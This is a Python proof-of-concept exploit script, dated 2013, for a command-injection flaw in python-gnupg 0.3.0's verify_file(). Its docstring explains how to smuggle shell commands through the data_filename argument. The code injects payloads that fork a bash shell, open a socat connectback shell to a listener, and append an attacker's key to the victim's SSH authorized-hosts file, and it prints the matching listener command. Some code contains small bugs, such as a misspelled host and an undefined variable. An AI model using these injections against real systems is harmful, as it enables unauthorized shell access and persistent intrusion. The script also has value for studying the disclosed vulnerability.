#!/usr/bin/env python
#-*- coding: utf-8 -*-
'''
python-gnupg-exploit.py
-----------------------
Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file()
with a simple connectback call to a waiting server. Written on a train,
homeless in europe. Eurotrash like hell.

You *absolutely* should run this in a virtualenv, and since this POC only runs
on localhost, you should probably bring down all other network interfaces
while playing with it, since by default it forks a connectback shell for every
TCP connection to localhost:8080.

To run this POC, you should obtain the source for python-gnupg, copy this file
into the python-gnupg source directory, and then navigate into it:

   $ sudo apt-get source python-gnupg
   $ cd python-gnupg-0.3.0/
   $ mv <path/to/this/file> ./

To run the server half, do:

   $ python ./python-gnupg-exploit.py mallory

   it just listens on 8080 on localhost and lets you type stuff or pipe
whatever you want into the connection. After that, in another terminal, you
can do:

   $ python ./python-gnupg-exploit.py alice

   to run the the exploit, which connects to your waiting mallory server and
forks off a shell in a separate process.

You can exploit gpg.GPG.verify_file() by calling it with
data_filename="\"<your_code>\"" and the inner set of escaped double quotes are
important. You'll have to be tricky and find ways to not allow your code to
contain spaces, but it's the default system shell running under the UID and
GID of the parent caller for Python interpreter. It's even nicely in it's own
threading.Thread(), provided by gnupg.GPG._collect_output().

@authors: Isis Agora Lovecruft, 0x2cdb8b35
          All of the other Leap Encryption Access Project Python developers
@date: 7 February 2013
@license: WTFPL, see [http://wtfpl.org/]
@copyright: ? 2013 Isis Lovecruft
'''

from os         import getcwd, path

import gnupg
import sys


def usage():
    """Because dying should be about sending a message."""
    msg  = "You need to download the source for python-gnupg before using this! "
    msg += "Please try again after placing this file in the python-gnupg-0.3.0/"
    msg += " directory. See the docstring for this file if you need more help."
    msg += "\nExiting..."
    raise SystemExit(msg)

class Alice(object):
    """Client code."""

    def __init__(self, file=None):
        here = getcwd()
        self.gpg = gnupg.GPG(gnupghome=here)
        self.log = path.join(here, 'alice.log')

        if file is not None:
            self.file = file
        else:
            ## this is probably equivalent to saying "eat your heart out,
            ## gnupg"...
            self.file = path.join(getcwd(), 'LICENSE')

    def exploit(self, shellcode=None):
        """POC example."""
        bad = None
        with open(self.file) as worse:
            bad = self.gpg.verify_file(worse, shellcode)
        return bad

    def code_exec(self):
        """This forks a local bash shell."""
        self.exploit("\"&coproc /bin/bash\"")

    def remote_code_exec(self):
        """
        You know that part in The Matrix where Neo is sleeping on his
        keyboard, and then Trinity types stuff on his terminal? This does
        that.
        """
        client = ("\"&`socat -d -d -d -d -lf " + self.log +
                  " - TCP-CONNECT:localost:8080,crnl`\"")
        self.exploit(client)

    def ssh_append(self):
        """
        This appends mallory's id_rsa.pub to alice's authorized_hosts file.
        """
        append = ("\"&`socat -d -d -d -d -lf " + alice_log +
                  " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') +
                  ",creat,append,end-close " +
                  "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"")
        self.exploit(append)

if __name__ == "__main__":

    ## don't run if they didn't follow the instructions:
    here = getcwd()
    if not here.endswith('python-gnupg-0.3.0'):
        usage()
    else:
        print "To run the corresponding listener, in another shell do:\n"
        print "   $ socat -d -d -d -d -lf mallory.log - \ "
        print "       TCP-LISTEN:8080,reuseaddr,fork"
        alice = Alice()
        alice.remote_code_exec()
